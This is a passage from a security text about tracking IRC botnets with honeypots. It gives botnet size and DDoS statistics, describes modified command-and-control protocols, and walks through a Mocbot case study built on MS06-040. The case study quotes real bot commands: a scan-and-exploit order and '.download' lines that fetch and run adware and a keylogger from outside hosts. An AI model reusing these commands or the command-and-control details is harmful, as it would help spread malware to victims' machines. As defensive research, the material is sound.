PREVIOUSLY: Tracking botnets
In this section we present some of the findings we obtained through our observation of honeypot sensors, either running nepenthes or a full high-interaction honeypot. We start with some statistics about the botnets we have observed in the last few months.
-
Number of botnets: We were able to track more than 900 botnets during a four-month period. Some of them went offline (i.e., C&C server went offline) and at the time of this writing, we are tracking more than 450 active botnets.
-
Number of hosts: During these few months, we saw more than 500,000 unique IP addresses joining at least one of the channels we monitored. Seeing an IP means here that the C&C server was not modified to not send a JOIN message for each joining client. If an IRC server is modified not to show joining clients in a channel, we do not see IPs here. Furthermore, some IRC server obfuscate the joining clients IP address and obfuscated IP addresses do not count as seen, too. This shows that the threat posed by botnets is probably worse than originally believed. Even if we are very optimistic and estimate that we track a significant percentage of all botnets and all of our tracked botnet C&C servers are not modified to hide JOINs or obfuscate the joining clients IPs, this would mean that more than one million hosts are compromised and can be controlled by malicious attackers.
Figure 11.6 gives an overview of the most active, unobfuscated botnets during a four-week period. The biggest botnets we have seen in this shorter period had more than 30,000 bots joining the given control channel, and also the other botnets were pretty active. Since many botnets obfuscate the number of bots in the botnet, we cannot easily estimate the real size of such a botnet.
-
Typical size of botnets: Some botnets consist of only a few hundred bots. In contrast to this, we have also monitored several large botnets with up to 40,000 hosts. The actual size of such a large botnet is hard to estimate. Often the attackers use heavily modified IRC servers and the bots are spread across several C&C servers which are linked together to form a common remote control network.
-
Dimension of DDoS attacks: We are able to make an educated guess about the current dimension of DDoS attacks caused by botnets. We can observe the commands issued by the controllers and thus see whenever the botnet is used for such attacks. During the observation period of four weeks, we were able to observe almost 300 DDoS attacks against 96 unique targets. Often these attacks targeted dial-up lines, but there are also attacks against bigger websites or other IRC servers.
Figure 11.6 Estimated size of top ten unobfuscated botnets in four-week period.
-
Spreading of botnets: Commands issued for further spreading of the bots are the most frequently observed messages. Commonly, Windows systems are exploited, and thus we see most traffic on typical Windows ports used for file sharing.
-
"Updates" within botnets: We also observed updates of botnets quite frequently. Updating in this context means that the bots are instructed to download a piece of software from the Internet and then execute it. We could collect a little more than 300 new binaries by observing the control channel. These binaries were almost never detected by antivirus engines.
Botnet controllers also use modified IRC servers to make their botnet stealthier. The following listing is an example of a stripped-down IRC server, which does not report the usual information upon connecting. The arrows show the communication flow in both directions (bot versus botnet server):
Presumably the attacker took the source code of a given IRC server and removed most status messages to avoid being too noisy and giving too much information away. When tracking such a botnet, it is usually not possible to guess its size. We cannot get any additional information about other bots on the network and can only monitor the commands issued by the attacker.
Something we also observe quite often is that the controllers change the protocol of the whole IRC server and modify it in such a way that you cannot use a traditional IRC client to connect to it. For example, the attacker can replace the normal IRC status messages and use other keywords. The following listing gives an example of where the C&C server uses a different syntax:
The modification is rather simple: This server usesSENDNandSENDUinstead of the normal NICK and USER, respectively. But even this small change prohibits the use of a traditional IRC client to connect to this botnet and observe it. In this example, we used netcat to connect to the botnet and manually implemented the new protocol. Thanks to the modular design of botspy, it is also easily possible to extend the tool and write a module that can communicate with the modified server.
But there are also modifications regarding the communication protocol that we cannot easily adopt. For example, the botnet controller can implement an encryption scheme-that is, he sends encrypted commands to the bots, which in turn decrypt and execute them. The following listing is an example of such an encrypted session on top of standard IRC:
The topic of the channel contains encrypted commands, which we cannot understand, unfortunately. By reverse engineering of the bot, it is possible to find out the issued command, but this is a time-consuming and cumbersome job.
Botnets also use other communication channels for remote command and control. For example, we observed a bot that contacted a given IP address on TCP port 80 after successful infection. The bot did not send any information to that remote host but instantly received commands once the TCP session is established. The following listing shows an example of the commands received:
Again, we use the tool netcat to connect to TCP port 80. Once we are connected, we receive four different download commands. For each URL, the bot downloads the file to the local system and afterward executes it. This way, the attacker can execute commands on the compromised machine, and he does not need the overhead caused by using an IRC server for C&C. This is an example of an advanced botnet that acts rather stealthily.
For propagating further, bots normally use the most prevalent vulnerabilities in network services from Microsoft Windows. But there are also other propagation mechanism-for example, via instant messenger (IM) tools. The attacker instructs the bots to send out IM messages like the following:
These messages commonly contain social engineering tricks to lure the victim into clicking on the provided link, which in turn opens an executable containing some kind of malware.
11.3.1 Mocbot and MS06-040
As a longer example, we want to take a look at one specific botnet that was very interesting from an analysis point of view. It highlights the common proceeding of attackers and shows how they can make some money with the help of bots and botnets.
At the beginning of August 2006, Microsoft released MS Security Bulletin MS06-040 with the title Vulnerability in Server Service Could Allow Remote Code Execution. This security bulletin contains information about a vulnerable network service that can be exploited to execute arbitrary commands on the victim's machine. A few days later, the first proof of concept exploits were released. These exploits allowed the manual compromise of machines, so no automation yet. But a couple of days later, the first botnets were observed that use this specific vulnerability to propagate further. Thus, the time between a vulnerability announcement and the integration of the exploit in botnets is just a couple of days.
With the help of several honeypots, we quickly caught a sample of such a bot binary: We set up several virtual high-interaction honeypots based on VMware running Windows 2000 without the patch provided for MS06-040. Via closely monitoring the honeypots, we noticed quickly when one of them was infected. Extracting the bot from the infected machine was then rather easy. Through automated analysis, we could retrieve the information about the corresponding botnet in a couple of minutes. The botnet used the DNS name gzn.lx.irc-XXX.org and the server for C&C was listening on TCP port 45130. The main control channel was ##Xport## and the nickname had the form RBOT|DEU|XP-SP0-36079.
For tracking this botnet, we used a normal IRC client. Since it used standard IRC commands, no special tool was necessary. We configured the IRC client with all necessary parameters and then connected to the botnet C&C server. When joining the main control channel ##Xport##, the topic was set to .ircraw join ##scan##,##DR##,##frame##,##o##. The channel topic is interpreted by the bots as a command, and thus they join four additional channels:
-
##scan##: the topic of this channel was
.scan netapi 100 3 0 -r -b -s.
Therefore, this channel is used for propagation-that is, scanning for other vulnerable machines and exploiting them. -
##DR##: this channel had the topic
.download http://promo. dollarrevenue.com/ webmasterexe/drsmartload152a.exe c:dr.exe 1 -s.
It instructs the bots to download an executable from the given address, store it locally on the C: drive, and execute it. An analysis of the executable showed that it is used to display advertisement on the machine it is installed on. We take a closer look at this topic later. -
##frame##: similar to the previous channel, this channel is also used to generate revenue for the attacker. The topic was set to
.download http://zchxsikpgz.bis/dl/loadadv518.exe
c:frm.exe 1 -s.
Hence, the bots download an additional executable and a closer analysis revealed that this binary was also used for advertisement. -
##o##: using this channel, the botnet controller installed a third executable on all compromised machines. This channel had the topic
.download http://64.18.150.156/niga/nads.exe c:nds.exe 1 -s,
which also caused the bots to download and execute a file from the given location. This executable is a keylogger, enabling more ways to steal sensitive information from the infected machines.
The following listing was captured when observing the channel ##scan## for less than five minutes:
As you can see, the propagation was working quite well for the botnet controller. This is due to the fact that, at this point in time, there were many machines that were not yet patched against this new vulnerability.
In the channel ##scan##, the at